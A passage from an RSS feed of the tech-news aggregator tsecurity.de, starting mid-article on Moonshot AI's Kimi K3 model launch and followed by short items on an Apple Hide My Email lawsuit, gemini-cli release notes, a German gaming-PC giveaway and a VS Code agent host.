delivers consistent scaling gains. Both techniques were previously published as open research by the Moonshot team on <a href="https://github.com/moonshotai">GitHub</a>.</p><p>On the <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">API side</a>, Kimi K3 is compatible with the <a href="https://developers.openai.com/api/docs/guides/agents">OpenAI SDK</a>, lowering the integration barrier for developers already building on OpenAI or Anthropic toolchains. The model is priced at $3 per million input tokens and $15 per million output tokens, with cached input tokens dropping to just $0.30 per million — pricing that positions it roughly in line with mid-tier offerings from Western labs, but at a performance level the company claims approaches the top of the market. A promotional top-up rebate running through August 12 offers up to 30 percent back in vouchers for API credits of $1,000 or more.</p><p>As <a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua reported</a>, a Moonshot AI executive explained the significance of the parameter count in simple terms: parameters are like neural connections in the human brain, and nearly 3 trillion of them means the model can "store more knowledge and patterns in its brain, understand more, think deeper, and answer more accurately."</p><div></div><h2><b>Benchmark results show Kimi K3 trading blows with Claude and GPT at the top of the leaderboard</b></h2><p>The benchmark results, drawn from public leaderboard data and a private evaluation by analytics firm Artificial Analysis, tell a striking story.</p><p>On <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA v2</a>, a benchmark measuring real-world tasks across 44 occupations and 9 major industries, Kimi K3 scored 1,687 — placing it third overall, behind only Claude Fable 5 Max (1,815) and GPT-5.6 Sol Max (1,747.8), and ahead of Claude Opus 4.8 (1,600).</p><p>On <a href="https://artificialanalysis.ai/evaluations/aa-briefcase">AA-Briefcase</a>, a private agentic benchmark from Artificial Analysis designed to test long-horizon knowledge work, K3 climbed to second place with a score of 1,527 — beating GPT-5.6 Sol Max (1,495) and trailing only Fable 5 Max (1,587).</p><p>Perhaps most impressively, K3 achieved a state-of-the-art score of 91.2 out of 100 on <a href="https://openai.com/index/browsecomp/">BrowseComp</a>, a benchmark for long-horizon, high-difficulty information seeking. </p><p>The company says it accomplished this in a single-agent setup using its 1-million-token context window, without any context compression or additional context management techniques — a feat that suggests raw context length, when paired with strong retrieval capabilities, may be more powerful than elaborate multi-agent workarounds.</p><p>As <a href="https://x.com/kimmonismus/status/2077818040578695175">one widely followed AI commentator</a> put it on social media: "Open source is no longer lagging six months behind Western closed-source models. Read that again, and think about what it all means."</p><p>That observation captures the significance of the moment. For much of the past three years, open-source models have typically trailed their proprietary counterparts by a meaningful margin. Kimi K3 appears to have closed that gap almost entirely.</p><h2><b>How a 48-hour autonomous chip design demo reveals Moonshot's real ambitions</b></h2><p>Beyond raw benchmarks, <a href="https://www.moonshot.ai/">Moonshot AI</a> showcased a proof-of-concept that may be even more revealing of K3's capabilities and the company's strategic direction.</p><p>In a demonstration documented in the company's technical materials, <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> was tasked with designing a physical chip to run a nano-scale version of itself. Over 48 hours of continuous autonomous agent operation, K3 independently completed the chip's full construction pipeline — from architectural design through optimization and verification — using open-source electronic design automation tools. The result was a tiny but functional chip design, just 4 square millimeters, that achieved timing convergence at 100 MHz and could decode more than 8,700 tokens per second in simulation.</p><p>This is not a production chip. It is a demonstration of what <a href="https://www.moonshot.ai/">Moonshot AI</a> clearly views as the next competitive frontier: long-range autonomous agent capabilities. The ability to sustain coherent, multi-step technical work over a 48-hour window — reading documentation, making design decisions, running verification loops, and iterating on failures — represents a qualitative leap beyond the kind of single-turn question-answering that defined the first generation of large language models.</p><p>The company also highlighted a case in computational astrophysics, where K3 reportedly reproduced the universal <a href="https://inspirehep.net/literature/1220233">I-Love-Q relation</a> — a complex calculation that typically takes a senior researcher one to two weeks — in approximately two hours, reading and cross-validating more than 20 papers and implementing a complete numerical pipeline along the way.</p><h2><b>Moonshot AI's fall and rise tells the story of China's brutal AI market</b></h2><p>To understand why <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> matters, you need to understand where Moonshot AI was 18 months ago — and how far it fell.</p><p>Founded in 2023 by <a href="https://kimiyoung.github.io/">Yang Zhilin</a>, a Tsinghua University graduate who previously conducted research at Google and Meta, Moonshot AI quickly became one of China's most prominent AI startups. The company gained early traction in 2024 when users flocked to its <a href="http://kimi.ai/">Kimi platform</a> for its long-text analysis capabilities and AI search functions. By early 2026, it had raised roughly <a href="https://www.forbes.com/sites/the-prompt/2026/07/15/ai-startup-reflection-compute-deal-to-challenge-chinas-open-source-dominance/">$1.5 billion</a> across multiple rounds, with its valuation climbing from $2.5 billion to $4.3 billion and the company reportedly <a href="https://tech.yahoo.com/ai/gemini/articles/china-moonshot-releases-open-source-141110760.html">seeking a new round at $5 billion</a>.</p><p>Then DeepSeek happened. The release of DeepSeek's low-cost R1 model in January 2025 disrupted the entire Chinese AI landscape, and Moonshot AI was among the hardest hit. Kimi, which had ranked third in monthly active users in China, slid to seventh. The company's strategic pivot to open-source models — beginning with Kimi K2 in July 2025 and accelerating with K2.5 in January 2026 — was in large part an effort to reclaim relevance.</p><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is the culmination of that effort — and the sheer scale of the model suggests that Moonshot AI has been planning this move for some time. Training a 2.8-trillion-parameter model requires enormous computational resources and months of preparation, which means the architectural and infrastructure decisions behind K3 were likely locked in well before the model reached the public.</p><h2><b>Why open-sourcing the world's biggest model is a geopolitical chess move</b></h2><p>The decision to release K3's full weights on July 27 is strategically significant and worth parsing carefully.</p><p>The company's own timeline chart of open-source frontier model scale positions K3 as a dramatic outlier, towering above competitors like <a href="https://github.com/deepseek-ai">DeepSeek</a> (1.6T), <a href="https://github.com/xiaomi">Xiaomi</a> (1.02T), and <a href="https://github.com/ALIBABA">Alibaba</a> (397B). By releasing the world's largest open-source model, Moonshot AI is making a bid to become the center of gravity for the global open-source AI developer community.</p><p>This follows a broader trend among Chinese AI companies. As <a href="https://www.reuters.com/technology/artificial-intelligence/china-weighs-silicon-curtain-around-sought-after-ai-models-2026-07-08/">Reuters noted</a>, open-sourcing allows companies to "showcase their technological capabilities and expand developer communities as well as their global influence, a strategy likely to help China counter U.S. efforts to limit Beijing's tech progress." DeepSeek, Alibaba, Tencent, and Baidu have all released open-source models. But none have released anything at this parameter count.</p><p>For enterprise technology leaders, the implications are concrete. A 2.8-trillion-parameter open-source model that performs at near-frontier levels creates new options for companies that want to fine-tune, self-host, or build proprietary systems on top of a capable base model — without being locked into API contracts with OpenAI or Anthropic. The trade-off, of course, is that running a model of this size requires substantial GPU infrastructure. Inference at 2.8 trillion parameters is not something that runs on a single server rack.</p><p>That said, <a href="https://www.moonshot.ai/">Moonshot AI</a> has signaled awareness of this challenge. Its Mooncake project, which won the Best Paper award at FAST 2025, pioneered KV-cache-centric disaggregated serving for large language models — an architecture designed specifically to make inference at extreme scale more practical and cost-efficient.</p><h2><b>Kimi Code and a three-tier model lineup form the foundation of Moonshot's enterprise play</b></h2><p>Alongside K3, Moonshot AI continues to invest heavily in its coding agent ecosystem. <a href="https://github.com/MoonshotAI/kimi-code/releases">Kimi Code</a>, the company's open-source coding tool that competes with Anthropic's Claude Code and Google's Gemini CLI, received two major updates on the same day as K3's launch — versions 0.25.0 and 0.26.0 — adding features like expanded subagent tooling, background task management, and security fixes.</p><p>The <a href="https://github.com/MoonshotAI/kimi-cli">Kimi Code CLI</a> has accumulated over 3,100 stars on GitHub and features integration with VSCode, Cursor, and Zed. The latest release expanded the "coder subagent" tool set to include background tasks, todo lists, plan mode, skill invocation, and nested agents — effectively turning the coding agent into a multi-layered autonomous system capable of managing complex software engineering projects with minimal human intervention.</p><p>This is not incidental. Coding tools have become a critical revenue driver for AI labs. As Anthropic disclosed in January, <a href="https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone">Claude Code reached $1 billion in annualized recurring revenue</a>. By building Kimi Code as an open-source alternative that defaults to Kimi's own models — but supports other providers — Moonshot AI is positioning itself to capture developer workflows and, eventually, enterprise contracts.</p><p>The company's model lineup now includes three tiers: <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">K3</a> as the flagship ($3/$15 per million tokens for input/output), <a href="https://platform.kimi.ai/docs/guide/kimi-k2-7-code-quickstart">K2.7 Code</a> as a specialized coding model ($0.95/$4), and <a href="https://platform.kimi.ai/docs/guide/kimi-k2-6-quickstart">K2.6</a> as a general-purpose option ($0.95/$4). All three support context windows of 256,000 tokens or above, with K3 offering the full 1-million-token window. Context caching is automatic — no cache ID, TTL, or extra parameter is required — a small but meaningful developer-experience advantage over competitors that require explicit cache management.</p><h2><b>What Kimi K3 means for the future of enterprise AI and the global model landscape</b></h2><p>Kimi K3's release forces a recalibration of several assumptions that have guided enterprise AI strategy.</p><p>The performance gap between open-source and proprietary models has functionally closed at the frontier. If K3's benchmark numbers hold up under independent evaluation — and particularly once the open weights are available for community testing on July 27 — it will be difficult for closed-source providers to justify premium pricing purely on the basis of capability.</p><p>The locus of AI innovation, meanwhile, continues to shift. China's AI ecosystem, which many Western observers questioned after early struggles with chip export restrictions, has now produced a model that competes with the best systems from companies with direct access to Nvidia's most advanced hardware. The architectural innovations behind K3 — particularly the hybrid linear attention mechanism — suggest that algorithmic efficiency may matter as much as raw compute.</p><p>And the agentic capabilities demonstrated by K3 — chip design, multi-week research compression, long-horizon information seeking — point toward a future where AI models are not just answering questions but autonomously executing complex, multi-day projects. For enterprises evaluating AI investments, this shifts the value proposition from "productivity copilot" to "autonomous technical workforce."</p><p><a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua</a>, China's state news agency, framed the release as a national milestone, reporting that K3 "marks a new step forward in the development of China's artificial intelligence models." Liu Tieyan, dean of the Zhongguancun Academy in Beijing, was quoted as saying that a wave of Chinese open-source models has moved from isolated breakthroughs to collective advancement, providing "new solutions and new paths" for global AI development.</p><p>Just two years ago, <a href="https://www.moonshot.ai/">Moonshot AI</a> was a scrappy startup named for the audacious problems it hoped to solve. Eighteen months ago, it was a cautionary tale about how quickly a market darling can lose its footing. Today, it is the maker of the world's largest open-source AI model — one that can, given 48 hours and an internet connection, design a chip to run itself. The frontier, it turns out, is not a place. It is a race. And the field just got a lot more crowded.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hide My Email class action lawsuit seeks payout without evidence of any attacks]]></title>
<description><![CDATA[A proposed class action is trying to turn Apple's unresolved Hide My Email flaw into a nationwide payout without alleging that the vulnerability was used in an attack or that the plaintiff's email address was exposed.Apple's Hide My Email serviceAnthony Alvarez filed the lawsuit against Apple on ...]]></description>
<link>https://tsecurity.de/de/3674409/ios-mac-os/hide-my-email-class-action-lawsuit-seeks-payout-without-evidence-of-any-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674409/ios-mac-os/hide-my-email-class-action-lawsuit-seeks-payout-without-evidence-of-any-attacks/</guid>
<pubDate>Thu, 16 Jul 2026 20:39:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A proposed class action is trying to turn Apple's unresolved Hide My Email flaw into a nationwide payout without alleging that the vulnerability was used in an attack or that the plaintiff's email address was exposed.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68269-143900-967A61C1-FA5C-4CF0-9182-D26130A192AD-xl.jpg" alt="iPhone screen on Hide my email setup page, showing a generated iCloud email address, a text field labeled Test being edited, and part of the keyboard, resting on brown leather surface" height="738"><span>Apple's Hide My Email service</span></div><br>Anthony Alvarez filed the lawsuit against Apple on July 15 in the U.S. District Court for the Northern District of California. The complaint accuses the company of false advertising, fraud, breach of contract, and other violations tied to its marketing of Hide My Email.<br><br>The filing argues that Apple sold customers privacy it couldn't provide. The claims cover the full version included with paid <a href="https://appleinsider.com/inside/icloud" title="iCloud" data-kpt="1">iCloud</a>+ plans and the more limited relay addresses generated through Sign in with Apple.<br><br>Alvarez seeks to represent four proposed classes covering U.S. Apple customers, including two California subclasses. The lawsuit seeks damages and an order requiring Apple to fix Hide My Email or clearly disclose its limitations.<br><br><br> <a href="https://appleinsider.com/articles/26/07/16/hide-my-email-class-action-lawsuit-seeks-payout-without-evidence-of-any-attacks?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244975?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-preview.0]]></title>
<description><![CDATA[What's Changed

Refactor: exclude transient CI configuration files from workspace context by @DavidAPierce in #28216
feat(caretaker-triage): add triage worker core foundational modules by @chadd28 in #28163
feat(caretaker-egress): implement octokit github action handler for egress service by @cha...]]></description>
<link>https://tsecurity.de/de/3674254/downloads/release-v0520-preview0/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674254/downloads/release-v0520-preview0/</guid>
<pubDate>Thu, 16 Jul 2026 19:16:58 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Refactor: exclude transient CI configuration files from workspace context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4771753114" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28216" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28216/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28216">#28216</a></li>
<li>feat(caretaker-triage): add triage worker core foundational modules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753861958" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28163" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28163/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28163">#28163</a></li>
<li>feat(caretaker-egress): implement octokit github action handler for egress service by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830419267" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28303" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28303/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28303">#28303</a></li>
<li>chore(release): bump version to 0.52.0-nightly.20260707.g27a3da3e8 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840274631" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28323" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28323/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28323">#28323</a></li>
<li>Changelog for v0.51.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839873704" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28320" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28320/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28320">#28320</a></li>
<li>Changelog for v0.50.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840167585" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28322" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28322/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28322">#28322</a></li>
<li>fix(core-tools): bypass LLM correction for JSON and IPYNB files in write_file and replace by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780686006" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28223" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28223/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28223">#28223</a></li>
<li>fix(core): use unambiguous previous intent label in fallback summary by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848950194" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28343" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28343/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28343">#28343</a></li>
<li>feat(caretaker-triage): implement main worker execution loop and egress action publisher by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832842460" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28306" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28306/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28306">#28306</a></li>
<li>fix(privacy): show a clear message when the account has no Code Assist tier by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830501064" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28304" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28304/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28304">#28304</a></li>
<li>fix(core): enrich shared project quota limit errors with setup hint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4875463769" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28391" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28391/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28391">#28391</a></li>
<li>fix(a2a-server): ensure task cancellation aborts execution loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4838860348" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28316" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28316/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28316">#28316</a></li>
<li>fix(core): simplify plan mode write policy to support relative paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876823809" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28398" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28398/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28398">#28398</a></li>
<li>feat(core): Bump node google-auth-library version to 10.9.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerrylin3321/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerrylin3321">@jerrylin3321</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4869745101" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28385" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28385/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28385">#28385</a></li>
<li>chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4888459983" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28402" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28402/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28402">#28402</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.51.0-preview.0...v0.52.0-preview.0"><tt>v0.51.0-preview.0...v0.52.0-preview.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to use ChatGPT on iPhone: Setup, Siri integration, and practical tips]]></title>
<description><![CDATA[Learn how to use ChatGPT on iPhone — from downloading the app to enabling Siri integration. Covers free and paid options. Find more AI tools on Setapp.]]></description>
<link>https://tsecurity.de/de/3674170/ios-mac-os/how-to-use-chatgpt-on-iphone-setup-siri-integration-and-practical-tips/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674170/ios-mac-os/how-to-use-chatgpt-on-iphone-setup-siri-integration-and-practical-tips/</guid>
<pubDate>Thu, 16 Jul 2026 18:43:37 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learn how to use ChatGPT on iPhone — from downloading the app to enabling Siri integration. Covers free and paid options. Find more AI tools on Setapp.]]></content:encoded>
</item>
<item>
<title><![CDATA[Verrückten Gaming-PC GEWINNEN - So geht's! #hmx6]]></title>
<description><![CDATA[Author: PC-WELT - Bewertung: 3x - Views:3 Willst du das krasseste Gaming-Setup 2026 gewinnen? 🔥

20 Jahre Höllenmaschine – und es wird absurd: Wir verlosen die HMX 6, einen Gaming-PC im Tisch, gebaut im Halo-Style.

Gesamtwert mit Peripherie: über 40.000 €.

Noch ist die HMX 6 nicht gebaut, aber ...]]></description>
<link>https://tsecurity.de/de/3673637/videos/verrueckten-gaming-pc-gewinnen-so-gehts-hmx6/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673637/videos/verrueckten-gaming-pc-gewinnen-so-gehts-hmx6/</guid>
<pubDate>Thu, 16 Jul 2026 15:33:38 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: PC-WELT - Bewertung: 3x - Views:3 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/NYF-wUgRMcA?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Willst du das krasseste Gaming-Setup 2026 gewinnen? 🔥<br />
<br />
20 Jahre Höllenmaschine – und es wird absurd: Wir verlosen die HMX 6, einen Gaming-PC im Tisch, gebaut im Halo-Style.<br />
<br />
Gesamtwert mit Peripherie: über 40.000 €.<br />
<br />
Noch ist die HMX 6 nicht gebaut, aber du kannst jetzt schon teilnehmen: Artikel-Link weiter unten öffnen, Gewinnspielformular ausfüllen, Lose sammeln und im Lostopf landen.<br />
<br />
Kein Account nötig. Kein Abo nötig. Extra-Lose gibt’s direkt im Formular.<br />
<br />
Mehr gültige Lose = höhere Chance.<br />
Pro Person nur eine Teilnahme.<br />
<br />
👉 So machst du beim Gewinnspiel mit:<br />
https://www.pcwelt.de/3179491<br />
<br />
👉 Alle Infos zur HMX 6:<br />
https://www.pcwelt.de/hmx<br />
<br />
Alle Infos findest du auch über den Link in der Bio. <br />
<br />
Mit etwas Glück gewinnst du die HMX 6. 🍀<br />
-<br />
#gamingpc #gaming #gamerlife #pcmasterrace <br />
<br />
► Zum PC-WELT T-Shirt-Shop:<br />
https://pcwelt.myspreadshop.de<br />
<br />
► Unterstützt uns, werdet Kanalmitglied für nur 99 Cent im Monat und erhaltet exklusive Vorteile (jederzeit kündbar):<br />
https://www.youtube.com/pcwelt/join <br />
<br />
► News, Tests und Tipps zum Thema Gaming & eSports: https://www.pcwelt.de/gaming<br />
<br />
► PC-WELT auf Instagram: https://instagram.com/pcwelt/<br />
► PC-WELT auf Facebook: https://www.facebook.com/pcwelt/<br />
► PC-WELT auf Twitter: https://twitter.com/pcwelt<br />
<br />
--------<br />
<br />
Unser Equipment (Affiliate-Links):<br />
<br />
🎥Kameras:<br />
https://amzn.to/3WUf0Ud<br />
https://amzn.to/44VCdHC<br />
https://amzn.to/3KdbGMe<br />
<br />
<br />
🔭Objektive:<br />
https://amzn.to/3uLfZ9p<br />
https://amzn.to/2NkGoFd<br />
https://amzn.to/3iXV3GJ<br />
<br />
➡️ Stative:<br />
teuer: https://amzn.to/2DIlCeV<br />
günstig: https://amzn.to/2IHm026<br />
Einbein: https://amzn.to/2T0WbPG<br />
<br />
📺Field Monitore:<br />
Atomos Ninja: https://amzn.to/4dR0q5Y<br />
<br />
🎤Mikros:<br />
Lavalier: https://amzn.to/2IxIlzm<br />
Headset: https://de-de.sennheiser.com/hsp-essential-omni<br />
Shotgun: https://amzn.to/2HdVKIT<br />
<br />
➡️ Kamera-Cages & Zubehör:<br />
SmallRig-Cages: https://amzn.to/4atoPM4<br />
Damit habt Ihr alles im Griff:https://amzn.to/2SmfptN<br />
<br />
➡️ Schulter-Rig: https://amzn.to/3Rm9ZQX<br />
<br />
--------<br />
<br />
Auf dem PC-WELT-Kanal findet Ihr alles rund um das Thema PCs & (Gaming-)Hardware. Bei uns gibt's alle wichtigen Infos, Tests und Hands-ons rund um die spannendsten Geräte.<br />
<br />
--------<br />
<br />
Einige Links können Affiliate-Links sein. Kauft Ihr über einen solchen Link ein Produkt, erhalten wir eine kleine Provision. Am Kaufpreis ändert sich für Euch dadurch nichts.<br />
<br />
--------<br />
<br />
► Alle News, Hands-ons und Gewinnspiele findet Ihr in dieser Playlist:<br />
https://www.youtube.com/playlist?list=PLVC_WMwVwvSjZfr6GlSyy-bNEXm9b-lN3<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[VS Code agent host runs Copilot, Claude, and Codex in a dedicated process]]></title>
<description><![CDATA[Developers who lean on AI coding agents often keep several editor windows open at once, each tied to its own session. The 1.129 release of Visual Studio Code reworks that setup with a dedicated agent host. A dedicated process for…
Read more →
The post VS Code agent host runs Copilot, Claude, and ...]]></description>
<link>https://tsecurity.de/de/3672757/it-security-nachrichten/vs-code-agent-host-runs-copilot-claude-and-codex-in-a-dedicated-process/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672757/it-security-nachrichten/vs-code-agent-host-runs-copilot-claude-and-codex-in-a-dedicated-process/</guid>
<pubDate>Thu, 16 Jul 2026 10:08:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Developers who lean on AI coding agents often keep several editor windows open at once, each tied to its own session. The 1.129 release of Visual Studio Code reworks that setup with a dedicated agent host. A dedicated process for…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/vs-code-agent-host-runs-copilot-claude-and-codex-in-a-dedicated-process/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/vs-code-agent-host-runs-copilot-claude-and-codex-in-a-dedicated-process/">VS Code agent host runs Copilot, Claude, and Codex in a dedicated process</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[VS Code agent host runs Copilot, Claude, and Codex in a dedicated process]]></title>
<description><![CDATA[Developers who lean on AI coding agents often keep several editor windows open at once, each tied to its own session. The 1.129 release of Visual Studio Code reworks that setup with a dedicated agent host. A dedicated process for agent sessions The agent host is a separate process that runs agent...]]></description>
<link>https://tsecurity.de/de/3672720/it-security-nachrichten/vs-code-agent-host-runs-copilot-claude-and-codex-in-a-dedicated-process/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672720/it-security-nachrichten/vs-code-agent-host-runs-copilot-claude-and-codex-in-a-dedicated-process/</guid>
<pubDate>Thu, 16 Jul 2026 09:53:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
